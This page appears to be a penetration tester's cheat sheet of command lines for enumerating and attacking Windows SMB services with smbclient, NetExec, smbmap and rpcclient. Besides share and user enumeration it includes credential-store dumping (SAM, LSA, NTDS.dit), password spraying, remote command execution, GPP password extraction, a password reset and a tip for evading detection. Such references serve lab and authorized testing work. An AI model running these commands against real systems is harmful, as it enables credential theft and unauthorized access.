> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/tcp/smb-or-445-139.md). # SMB | 445, 139 ## 00. Basic * Find smb version ```bash sudo tcpdump -s0 -n -i tun0 src $IP and port 139 -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' sudo ngrep -i -d tun0 's.?a.?m.?b.?a.*[[:digit:]]' port 139 smbclient -L //$IP nmap -p 445,139 --script smb-protocols,smb-system-info,smb-os-discovery $IP enum4linux -a $IP | tee enum4linux_output.txt ``` ## 01. SMBclient ```bash ## ------------------| Enum smbclient //$IP ## ------------------| List all shares (Null session) smbclient -N -L //$IP ## ------------------| List all shares with credentials smbclient -L //$IP -U '%' ## ------------------| Login to the user smbclient -U '%' \\\\$IP\\c$ ## ------------------| Connect to a specific share (interactive) smbclient //$IP/ -U '%' ## ------------------| Connect to a specific share with NT1 protocol (for older SMB versions) smbclient -N //$IP/ --option='client min protocol=NT1' ## ------------------| Download all files smbclient -N //$IP/ -U -c "prompt OFF;recurse ON;mget *" ## ------------------| Upload file put desktop.ini ## ------------------| List info about ## if it has ACL:Everyone:ALLOWED/OI|CI/FULL we can write/read smbcacls -N //$IP/Department /Users ## ------------------| Connect to a specific share with other protocols smbclient -L //$IP -U -m SMB2 smbclient -L //$IP -U -m SMB3 smbclient -L //$IP -U -m NT1 ``` ## 02. [NetExec (CrackMapExec)](https://github.com/Pennyw0rth/NetExec) ```bash ## ------------------| Enumerate Hosts nxc smb 192.168.3.201-203 nxc smb 192.168.3.0/24 --ping ## ------------------| List Available Modules nxc smb $IP -L nxc smb $IP --shares -L ## ------------------| Tricks # By default, nxc attempts to authenticate to domain accounts. Use -d WORKGROUP to target local user accounts. # Use --no-bruteforce to avoid locking out accounts during credential testing. # Specify --timeout to adjust connection timeout for slow networks. # Use --jitter to add random delays between requests to evade detection. ## ------------------| Enumerate Shares / Basic Info nxc smb $IP nxc smb $IP --shares nxc smb $IP -u '' -p '' --shares nxc smb $IP -u 'NonExistentUser' -p '' --shares nxc smb $IP -u 'NonExistentUser' -H nxc smb $IP -d WORKGROUP -u 'NonExistentUser' -H nxc smb $IP -u 'username' -p 'password' --shares --continue-on-success ## ------------------| Enumerate Active Sessions nxc smb $IP -u 'username' -p 'password' --sessions ## ------------------| Enumerate Disks nxc smb $IP -u 'username' -p 'password' --disks ## ------------------| Enumerate Logged-on Users nxc smb $IP -u 'username' -p 'password' --loggedon-users nxc smb $IP -u 'username' -p 'password' --loggedon-users --continue-on-success ## ------------------| Enumerate Domain Users nxc smb $IP -u 'username' -p 'password' --users ## ------------------| Enumerate Users by Bruteforcing RID nxc smb $IP -u 'username' -p 'password' --rid-brute ## ------------------| Enumerate Domain Groups nxc smb $IP -u 'username' -p 'password' --groups ## ------------------| Enumerate Local Groups nxc smb $IP -u 'username' -p 'password' --local-groups ## ------------------| Identify SMB Signing Disabled nxc smb --gen-relay-list output.txt 10.10.10.0/24 ## ------------------| Enumerate Password Policy # If Account Lockout Threshold: None, bruteforcing is safe nxc smb $IP --pass-pol nxc smb $IP -u '' -p '' --pass-pol nxc smb $IP -u 'username' -p 'password' --pass-pol ## ------------------| Dump SAM/LSA/NTDS.dit nxc smb $IP -u 'username' -p 'password' --sam nxc smb $IP -u 'username' -p 'password' --lsa nxc smb $IP -u 'username' -p 'password' --ntds nxc smb $IP -u 'username' -p 'password' --ntds vss nxc smb $IP -u 'username' -p 'password' --ntds drsuapi ## ------------------| Execute Commands #### PowerShell (-X) nxc winrm $IP -u 'username' -p 'password' -X "whoami /all" nxc winrm $IP -u 'username' -p 'password' -X "powershell -c 'Get-Process'" #### CMD (-x) nxc winrm $IP -u 'username' -p 'password' -x "whoami /all" ## ------------------| Crawling Shares nxc smb $IP -u 'username' -p 'password' -M spider_plus nxc smb $IP -u 'username' -p 'password' -M spider_plus -o OUTPUT_DIR=/tmp/spider nxc smb $IP -u 'username' -p 'password' -M spider_plus --filter '*.txt|*.docx' nxc smb $IP -u 'username' -p 'password' -M spider_plus -o EXCLUDE_FILTER='print$,NETLOGON,SYSVOL,IPC$' ### to view spider_plus.json use cat spider_plus.json | jq '. | map_values(keys)' ## ------------------| Credential Spraying nxc smb $IP -u /path/to/userlist.txt -p 'password' --continue-on-success nxc smb $IP -u 'username' -p /path/to/passlist.txt --no-bruteforce ## ------------------| Check for Vulnerabilities nxc smb $IP -u 'username' -p 'password' -M ms17-010 nxc smb $IP -u 'username' -p 'password' -M zerologon nxc smb $IP -u 'username' -p 'password' -M nopac ## ------------------| Enumerate GPP Passwords nxc smb $IP -u 'username' -p 'password' -M gpp_autologin nxc smb $IP -u 'username' -p 'password' -M gpp_password ## ------------------| Download/Upload Files nxc smb $IP -u 'username' -p 'password' --get-file 'C$\path\to\file.txt' /local/path/file.txt nxc smb $IP -u 'username' -p 'password' --put-file /local/path/file.txt 'C$\path\to\file.txt' ``` ## 03. SMBMap ```bash ## ------------------| General flags ## -H HOST IP of host ## --host-file FILE File containing a list of hosts ## -u USERNAME Username, if omitted null session assumed ## -p PASSWORD Password or NTLM hash ## --prompt Prompt for a password ## -s SHARE Specify a share (default C$), ex 'C$' ## -d DOMAIN Domain name (default WORKGROUP) ## -P PORT SMB port (default 445) ## -v Return the OS version of the remote host ## -x COMMAND Execute a command ex. 'ipconfig /all' ## -L List all drives on the specified host (requires ADMIN) ## -r [PATH] List contents of directory. (Recursively) ## -g FILE Output to a file in a grep friendly format, ## --dir-only List only directories, ommit files. ## --depth DEPTH Traverse a directory tree to a specific depth. ## --download PATH Download a file from the remote system, ## --upload Upload a file to the remote system ex. ## --delete PATH Delete a remote file, ex. 'C$\temp\msf.exe' ## --skip Skip delete file confirmation prompt ## ------------------| List shares smbmap -H $IP smbmap -u 'anonymous' -H $IP smbmap -u 'anonymous' -p 'anonymous' -H $IP ## ------------------| Recursively list smbmap -r directory -H $IP ## ------------------| Download file smbmap -r directory -H $IP -A filename.txt -q ``` ## 04. RPCClient ```bash ## ------------------| Login as user rpcclient -U 'support' $IP rpcclient -U 'Administrator:Password' $IP ## ------------------| Null auth rpcclient -U '' $IP ## ------------------| Enumarations lookupnames Guest ### Resolves the "Guest" name to its associated SID. enumdomusers ### Enumerates all users in the domain. queryuser 0x450 ### Retrieves information about the user with the RID `0x450`. enumprinters ### Enumerates all printers available in the network. srvinfo ### Retrieves detailed information about the server. enumdomains ### Enumerates all domains deployed within the network. querydominfo ### Provides detailed information about the domain, server, and users within deployed domains. netshareenumall ### Enumerates all available network shares. queryuser ### Provides information about a specific user identified by the RID (Relative Identifier). netsharegetinfo ### Retrieves information about a specific network share. ## ------------------| Change users password setuserinfo2 23 '' ## ------------------| Brute Forcing User RIDs for i in $(seq 500 1100);do rpcclient -N -U "" $IP -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ```